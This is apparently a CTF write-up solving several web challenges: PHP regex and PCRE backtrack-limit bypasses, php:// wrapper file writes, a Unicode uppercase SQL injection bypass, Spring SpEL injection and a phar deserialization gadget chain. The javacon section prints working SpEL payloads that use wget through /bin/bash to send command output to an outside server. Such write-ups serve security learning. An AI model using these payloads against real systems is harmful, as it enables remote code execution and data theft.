easy – http://51.158.75.42:8087/
We are given code:
At line 5, there is a regex that match following rules:
- Start with a->z, 0->9 or “_”
-
Only allows a->z, 0->9 or “_”
So we cannot simply do a test like ?action=var_dump&arg=1
to execute the php: var_dump(1)
The task here are avoid their rules and execute php function!
php is beautiful, it has many features that you can use to bypass, in this case: Global Space
\
at the beginning of function, var_dump
will be treated as a valid function -> executeNow we come to another problem, at line 8 there is a code:
$action('', $arg);
It means we have to find a function that take first parameter empty to read flag, within my knowledge, there is only one function can do it: create_function
, this function can be used as another eval
(mentioned in the php docs), so using it and get flag:
pcrewaf – http://51.158.75.42:8088/
We are given code:
Look at line 3, there is a regex which prevent us from input php code, it means if in our file content got string start with <?
and end with (
or `
or ;
or ?
or >, the upload will fail!
Again, php rock!
There is a runtime configuration defined in php.ini for pcre
named pcre.backtrack_limit which is affected on preg_* function.
This configuration defined the limitation time that backtrack can occur. if we reach the limitation, the preg_*() fail on the regex and we will pass the check.
So, what is backtrack? Assume we got the below regex:
.+b
And our input string will be
aaaaaabcd
then it will first match aaaaaabc on the .+ and compare b against the remaining d. This fails, so it backtracks a bit and matches aaaaaab for the .+ and then compares the final b against the c. This fails too, so it backtracks again and tries aaaaaa for the .+ and the matches the b against the b and succeeds.
Each time it backtracks, the count increase by 1 til the limitation
In php, the default value of it is “1.000.000”
Back to our challenge, the regex here is
our task now is input file that contains our php code and junks to reach the pcre limitation.
junk="a"*1000001 payload="<?php phpinfo();//"+junk f=open('very_safe_file','w') f.write(payload) f.close()
create our upload form:
Then upload our exploit, success ^_^!
phpmagic – http://51.158.75.42:8082/index.php?read-source=1
Simple service that do a command dig -t A -q $domain
Source code given:
In line 24, the function file_put_contents
take two parameters which we can control, the first is $log_name
show in line 14, the second is $output
which is a result of the command when we input $domain
$log_name
is composed by $_SERVER['SERVER_NAME']
and itself as shown in line 22
From php page:
It means we can control this value by setting a virtualhost, to do this, first proxy via the site, you’re done. For example, assume we got the following code:
<?php echo 'Testing proxy'; echo $_SERVER['SERVER_NAME']; ?>
Access it:
Now proxy via it:
Try something fun :), we control the value of $_SERVER['SERVER_NAME']
Back to our challenge, let proxy via the challenge site, and we can fully control $log_name
input-ed to file_put_contents
function
Let take a look at this: http://php.net/manual/en/wrappers.php.php
So we can use php wrapper in $log_name
and some convert type on the content that will be written
Let do it:
view log file, all upper ^_^
We cannot input php code directly since our result is passed to htmlspecialchars
, it means <
is encoded and php cannot parse.
We have to find a way! Simple, just input our payload in base64 from to $domain, and use base64 decoder wrapper to decode it!
result:
Last problem is, change the extension of file to .php
since it is filtered, change it to .php/.
tricked the check
Final payload:
Result:
phplimit – http://51.158.75.42:8084/
Source code given:
At line 2 we can see the regex, the main idea is it will match any string that contains a-zA-Z0-9_ and end with ()
In our challenge, we have to make the string pass to the regex and return ;
, let test
To be clear, our task now is, run system command with any php function which “take no parameter or take other php function which take no parameter”
Example: abc(xyz());
is valid
One function without parameter can’t do anything, we have to find the function that return something useful, to input to another function!
the get_defined_vars()
is promising, let take a look:
It returns array of $_GET
, $_POST
, $_COOKIE
and $_FILES
, we are going to use current()
to access $_GET
:
As you can see, it return array of code
, it is our input, now we add another GET parameter:
Extract tsu
using next()
:
What we are doing so far is: var_dump('handsome')
, what next? replace var_dump
and handsome
to something useful and we are done!
nodechr – http://51.158.73.123:8085/source
This challenge is about SQL Injection, look at the safeKeyword
and login
function:
Basically if we input username
and password
, theirs two are passed into safeKeyword
function which filter union
, select
, ;
, --
then do a query
SELECT * FROM “users” WHERE “username” = ‘${username.toUpperCase()}’ AND “password” = ‘${password.toUpperCase()}’
Why upper case? Node.js® is a JavaScript runtime built on Chrome’s V8 JavaScript engine, as i remember javascript has some strange behaviour on this function.
From this: https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
Found that uppercase of ı
is I
, uppercase of ſ
is S
, let test:
Get Flag:
javacon – http://51.158.75.42:8081/
We are given a java spring boot web app snapshot
Download and drop it to Bytecode Viewer to analysis:
Look at io/tricking/challenge/MainController.class, this file defined route and operation for app, we focus on login route:
As you can see, if we check the remember me
option, our input will pass into this.userConfig.encryptRememberMe()
(if login success)
Then it does some blah blah action to generate the crypt, save in cookie.
When we comeback, this cookie will be decrypted, we are remembered.
we found this.rememberMeKey
from BOOT-INF/classes/application.yml
, alongs with account admin/admin
:
I decided to re-code an encryption function to output crypt based on what we input (because the encryption of webapp require login successful), you can find it here:
https://pastebin.com/GzistNiL
output:
X0W3Vrt5bJqVhk4LOWUZyQ==
Login with user admin/admin
, change remember-me
cookie value to the output above:
we tsug0d
now!
In io/tricking/challenge/MainController.class
, the admin()
function check remember-me
, if available, decrypt and pass the result into getAdvanceValue()
function
Let take a look:
From this we know that parseExpression
take value and parse it. Since we can control this value, Expression Language Injection
here!
Note that the parse is blind, it won’t show on the page, but we can trigger error to confirm if it is vulnerabled:
Simple.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{String.getClass()}")
Result:
nGaf4EvgK7Y9Wn0QkjktzWoKJFKgghJCw7jS0Hn0eJg=
There are blacklist keywords that we have to avoid:
keywords: blacklist: - java.+lang - Runtime - exec.*\(
We are going to construct the following command:
T(java.lang.Runtime).getRuntime().exec("wget http://tsug0d.com:4321/?a=1")
using Java Reflection API
- Using
getClass()
to construct instance of java.lang.Runtime class
String.class.getClass().forName("java.l"+"ang.Run"+"time")
- Using
getMethod()
to get the exec methods of the class
instance_Class.getMethod("ex"+"ec",String.class)
- Using
invoke()
method invokes the underlying method represented by this Method object, on the specified object with the specified parameters
Modify a bit to fit SpEL Language
, we got payload:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String)).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),"wget http://tsug0d.com:4321/?a=1")}
crypt:
bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fctx0_6alc-Ul5Hsdvg3a5zzabNVbdCMtdsETuqlPGzUzyrqbLZPSKgRS8F7NdNee6litNavvAnY3bUcIi0OZhR4k7Q_aQVTuEDwYEYhAYbR9kv4RrcnacbLAHP9FjlDLSKLk4FUJ58aQdB05XTfYGGaTLwmq70Tbv1Ef9QSmEOjCPg4NgDo_0VOwGjv-3NGKQaPSVRVmkl86wUBn94fgpGKsoAMCuXV7Z2PPqD5-iXnBNG4zxXQmQqrrfe1iqu9D89wnQtHifzqzOwLyptR7h
change cookie, refresh, on my server:
Since exec
in jvm cannot run complex command, we have to change it to another way:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","wget http://tsug0d.com:4321/?a=`ls f*`"})}
crypt:
bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9ATMq650tXCEsY3IgEjPBfhdiR8ACooOGQThio01fFYk7fAhastRoDdCz8p954PkLM5OGyJecGpAEvfh17WmDqI=
result:
cat flag_j4v4_chun:
lumenserial – http://51.158.73.123:8080/
Very cool POP chains challenge, i had many problems when solving it. This challenge is about phar unserialize php, find and chain gadget to execute our function.
Source code given: https://www.leavesongs.com/media/attachment/2018/11/23/lumenserial.tar.gz
First things we can notice in the source code is file_get_contents
inside download()
in lumenserial\app\Http\Controllers\EditorController.php
We can control the $url
, it means we can pass phar://
wrapper into it and trigger the unserialize()
Now we have the power to fake some parameter value in any class & trigger class function via php magic method.
Gadged 1: lumenserial\vendor\illuminate\broadcasting\PendingBroadcast.php
From php docs:
so it will be called auto automatically
We can control $this->events
and $this->event
, it means we can call dispatch
function of any class and it arguments. But what if the class doesn’t has dispatch function? Well, another php magic method will be called instead: __call
Test:
Now we have to find a class which got good __call
method to continue our chain
Gadget 2: lumenserial\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php
call_user_func_array
and call_user_func
is called
call_user_func_array
is uncontrolled because value of $name
is “dispatch” (see the test code in image above) , so $res
is temporary uncontrolled, we have to control it value to pass it into call_user_func
to execute our function!
We come to new gadget, to control the result of call_user_func_array
Gadget 3: lumenserial\vendor\fzaninotto\faker\src\Faker\Generator.php
__call
call format()
format()
call getFormatter()
, and it returns $this->formatters[$formatter]
value of $formatter
here is “dispatch”, so we actually return $this->formatters['dispatch']
so construct a formatters
array like (“dispatch” => some_array()), we can control it return array we want (because of __construct)
To be clear:
call_user_func_array($this->getFormatter($formatter), $arguments)
become
call_user_func_array($this->getFormatter["dispatch"], $arguments)
become
call_user_func_array(some_array(), $arguments)
But we want it to return string value, so the some_array()
will be come
$x = new \Faker\Generator(array('tmp' => $res_controlled ));
array($x, "getFormatter")
Now it become
call_user_func_array( ($x => "getFormatter") , $arguments)
=> getFormatter($argument)
=> $this->formatters[$argument]
If we input $arguments
= array('tmp')
=> return $res_controlled
Gadget 4: lumenserial\vendor\phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php
$this->callback
controlled, we move to Invocation
Gadget 5: lumenserial\vendor\phpunit\phpunit\src\Framework\MockObject\Invocation\StaticInvocation.php
Combine all together, we got the exploit
Upload, then trigger it:
/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/xxx.gif